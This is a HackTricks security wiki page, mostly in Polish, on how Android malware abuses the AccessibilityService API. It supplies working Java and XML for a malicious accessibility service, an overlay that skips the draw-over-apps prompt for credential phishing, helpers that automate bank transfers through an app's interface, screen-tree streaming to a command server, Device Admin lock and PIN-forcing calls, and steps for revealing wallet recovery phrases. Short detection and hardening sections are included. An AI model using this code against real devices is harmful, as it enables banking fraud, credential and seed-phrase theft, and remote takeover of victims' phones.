Nadużycie Accessibility Service w Androidzie

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

AccessibilityService został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety te same powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) mogą zostać zbrojne przez malware, aby uzyskać pełną zdalną kontrolę nad urządzeniem bez uprawnień root.

Nowoczesne Android banking Trojans i Remote-Access-Trojans (RATs) takie jak PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i wiele innych stosują ten sam schemat:

  1. Social-engineer ofiarę, aby włączyła złośliwą usługę accessibility (uprawnienie BIND_ACCESSIBILITY_SERVICE jest uznawane za "high-risk" i wymaga wyraźnej akcji użytkownika).
  2. Wykorzystać usługę do
  • capture every UI event & text that appears on screen,
  • inject synthetic gestures (dispatchGesture) and global actions (performGlobalAction) to automate any task the operator desires,
  • draw full-screen overlays on top of legitimate apps using the TYPE_ACCESSIBILITY_OVERLAY window type (no SYSTEM_ALERT_WINDOW prompt!),
  • silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
  1. Eksfiltrować dane lub przeprowadzać On-Device-Fraud (ODF) w czasie rzeczywistym, podczas gdy użytkownik patrzy na pozornie normalny ekran.

Żądanie uprawnienia

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Towarzyszący plik XML określa, jak będzie wyglądać fałszywy dialog:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Zdalne prymitywy automatyzacji interfejsu użytkownika

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Posiadając tylko te dwa API, atakujący może:

  • Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i wysłać formularz przelewu.
  • Zaakceptować każde okno dialogowe uprawnień, które się pojawi.
  • Zainstalować/zaktualizować dodatkowe APK via the Play Store intent.

Wzorce nadużyć

1. Overlay Phishing (Credential Harvesting)

Do menedżera okien dodawany jest przezroczysty lub nieprzezroczysty WebView:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Ofiara wpisuje poświadczenia do fałszywego formularza, podczas gdy aplikacja w tle otrzymuje te same gesty — nigdy nie pojawia się podejrzany monit "draw over other apps".

Szczegółowy przykład: sekcja Accessibility Overlay Phishing wewnątrz strony Tapjacking.

2. Automatyzacja oszustw na urządzeniu

Malware families takie jak PlayPraetor utrzymują trwały kanał WebSocket, gdzie operator może wydawać wysokopoziomowe polecenia (init, update, alert_arr, report_list, …). Serwis tłumaczy te polecenia na niskopoziomowe gesty opisane wyżej, osiągając transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe powiązane z tym urządzeniem.

3. Screen streaming & monitoring

Łącząc MediaProjection API z biblioteką klienta RTMP, RAT może nadawać żywy framebuffer do rtmp://<c2>:1935/live/<device_id>, dając atakującemu pełną świadomość sytuacyjną, podczas gdy silnik Accessibility steruje UI.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iteruj po hard-coded liście aż jedna domena odpowie POST /app/searchPackageName z aktywnym C2.
  2. WebSocket (port 8282) – bidirectional JSON commands:
  • update – push new conf/APKs
  • alert_arr – configure overlay templates
  • report_list – send list of targeted package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – live screen/video streaming.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Wykrywanie złośliwych accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – sprawdź aplikacje, które nie pochodzą z Google Play.
  • MDM / EMM solutions mogą egzekwować ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) aby zablokować sideloaded services.
  • Analizuj uruchomione usługi:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Zalecenia dotyczące hardeningu dla deweloperów aplikacji

  • Oznacz wrażliwe widoki za pomocą android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Połącz setFilterTouchesWhenObscured(true) z FLAG_SECURE aby zapobiegać tap/overlay hijacking.
  • Wykrywaj overlays poprzez odpytywanie WindowManager.getDefaultDisplay().getFlags() lub API ViewRootImpl.
  • Odmów działania gdy Settings.canDrawOverlays() lub nie-zaufana usługa Accessibility jest aktywna.

ATS automation cheat-sheet (Accessibility-driven)

Malware może w pełni zautomatyzować aplikację bankową korzystając wyłącznie z Accessibility APIs. Ogólne prymitywy:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Przykładowy przebieg (czeskie → angielskie etykiety):

  • "Nová platba" (Nowa płatność) → kliknij
  • "Zadat platbu" (Wprowadź płatność) → kliknij
  • "Nový příjemce" (Nowy odbiorca) → kliknij
  • "Domácí číslo účtu" (Krajowy numer rachunku) → ustaw fokus i ACTION_SET_TEXT
  • "Další" (Dalej) → kliknij → … "Zaplatit" (Zapłać) → kliknij → wprowadź PIN

Plan awaryjny: twardo zakodowane współrzędne z użyciem dispatchGesture, gdy wyszukiwanie tekstu zawodzi z powodu niestandardowych widgetów.

Również zaobserwowano: kroki przygotowawcze prowadzące do check_limit i limit przez przejście do interfejsu limitów i zwiększenie dziennych limitów przed przelewem.

Pseudo-strumieniowanie ekranu oparte na tekście

Dla zdalnego sterowania o niskim opóźnieniu, zamiast pełnego strumieniowania wideo, zrzucaj tekstową reprezentację bieżącego drzewa UI i wielokrotnie wysyłaj ją do C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

This is the basis for commands like txt_screen (jednorazowe) and screen_live (ciągłe).

Device Admin — prymitywy wymuszania

Po aktywacji odbiornika Device Admin, te wywołania zwiększają możliwości przechwycenia poświadczeń i utrzymania kontroli:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Uwaga: dokładna dostępność tych polityk zależy od wersji Android i OEM; podczas testów sprawdź rolę polityki urządzenia (admin vs owner).

Crypto wallet seed-phrase extraction patterns

Obserwowane przepływy dla MetaMask, Trust Wallet, Blockchain.com i Phantom:

  • Odblokowanie skradzionym PIN-em (przechwyconym za pomocą overlay/Accessibility) lub podanym hasłem do portfela.
  • Nawigacja: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Zbieranie frazy poprzez keylogging węzłów tekstowych, obejście secure-screen lub screenshot OCR gdy tekst jest zasłonięty.
  • Wsparcie wielu lokalizacji (EN/RU/CZ/SK) w celu stabilizacji selektorów – preferuj viewIdResourceName gdy dostępne, w przeciwnym razie dopasowywanie tekstu wielojęzycznego.

NFC-relay orchestration

Moduły Accessibility/RAT mogą zainstalować i uruchomić dedykowaną aplikację NFC-relay (np. NFSkate) jako trzeci etap, a nawet wstrzyknąć overlay z instrukcjami, aby przeprowadzić ofiarę przez kroki relay wymagające obecności karty.

Tło i TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks